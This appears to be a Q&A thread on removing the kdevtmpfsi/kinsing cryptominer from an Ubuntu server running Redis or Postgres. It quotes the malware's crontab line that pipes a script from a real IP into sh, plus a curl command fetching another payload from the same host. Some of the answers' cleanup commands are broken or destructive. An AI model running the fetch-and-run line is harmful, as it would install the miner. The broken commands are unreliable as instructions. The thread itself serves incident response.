My Ubuntu server has been infected by a virus kdevtmpfsi

Question

My Ubuntu server has been infected by a virus kdevtmpfsi, I have already done serveral steps to solve this problem, like all of these: https://github.com/docker-library/redis/issues/217.

But it is still coming again and again when docker container with redis is running.

But there is stil one thing that I could not do, when I run the command for user in $(cut -f1 -d: /etc/passwd); do echo $user; crontab -u $user -l; done to see all users crontab, this is my output:

no crontab for gdm
fabio
* * * * * wget -q -O - http://195.3.146.118/unk.sh | sh > /dev/null 2>&1
debian-tor
no crontab for debian-tor
deploy
no crontab for deploy
redis
no crontab for redis

There is a suspect job in crontab using wget to download a sh script, I cannot find how to delete this, and I am not sure if this will come back again when I turn on docker container with redis.

Look at the image above, the "user" that is running this virus is a user "999" I have no idea how this is possible because this user does not exist.

What could I do to solve this?

Solution 1

Do a

chmod 000 /tmp/kdevtmpfsi

first. That will kill access to that file

From a user prompt if possible if that is not YOUR user:

sudo -u fabio
crontab -l 

otherwise you only need the LAST line of these 2. If it is in there

crontab -e

to edit and remove that line. If not crontabs are stored in /var/spool/cron/crontabs/. There will be a fabio there. Nuke it all.

And it is not a virus. It is a miner that you probably installed yourself or installed as part of some piece of software. IF NOT consider your server compromised, format the disks and restore a backup. If you did please stick to regular and trusted sources.

---

edit: found some more about this.

Also related to this:

/tmp/zzz  

That seems to be the bootstrap file. chmod that one too and nuke it after you verified you killed it or it killed itself.

The chmod removes permissions so the miner can not recreate the file nor write or read from it. Effectively killing it. THEN start hunting down the files. Nuke /tmp/* /var/tmp/* for anything with kinsing in the name plus the files listed above.

Try to execute deletes in ONE command so it does not get a chance to initialize itself.

Interesting topic on github about how to remove it.

---

It has been documented here. Redis is known to be easy hackable unless you set up a decent protection yourself.

Solution 2

My server got this bitcoin trojan via postgres. In my case, no containers. All explanations above matched, but it is clear the scripts were improved to make detection and killing more difficult. The main change was that the kdevtmpfsi file was instantly renamed to a random 8-char string and the kinsing file would come and go in a matter of seconds. After I avoided the file renaming the kdevtmpfsi showed up with top processes. Someone, not the virus, changed file names after I changed permissions to 000 and size to 0. Also, I did remove the crontab entry, but it came back 1 day later.

Today when when I logged in again saw the files I had nuked were gone, but there were symbolic links, which made evident there was manual intervention, with root access somehow. So I repeated the process and changed all sudo passwords again, and not it seems to be gone. I still see repeated ssh root attempts, without success.

For those curious, here are some of the commands I used to trace and disable this bitcoin trojan:

$ netstat -a -t|grep 'ssh'

$ ls -l /var /var/tmp|grep 'postgres'

$ sudo ps -u postgres|grep 'kdevtmpfsi'>ps.txt
$ echo -n "sudo kill -9 ">./tmp.sh
$ sudo cat psid.txt>>./tmp.sh
$ set +x tmp.sh
$ sudo rm /tmp/kdevtmpfsi

$ sudo crontab -u postgres -l
$ sudo crontab -u postgres -r

$ sudo curl http://195.3.146.118/pg.sh

$ sudo kill -9 ..

Solution 3

In some cases this may be due to a security breach found in a Laravel package (facade/ignition) <= v8.4.2. CVE-2021-3129

Here we have an article that explains how the malware works: Laravel <= v8.4.2 debug mode: Remote code execution (CVE-2021-3129)

If I were in your place, I would consider your instance as compromised and create a new one. In the tests I did, the malware changes places and adapts to changes made to the system in an attempt to stop it.

Comments

[Fábio Junio Alves Sousa]

Thank you very much. I haven't had realized that the crontab job was in my user fabio, I have done all your steps and I removed and installed the redis again. I hope that this solves the problem, but at least now I know that the crontab jobs could be running in my user fabio, so I will be able to delete it again.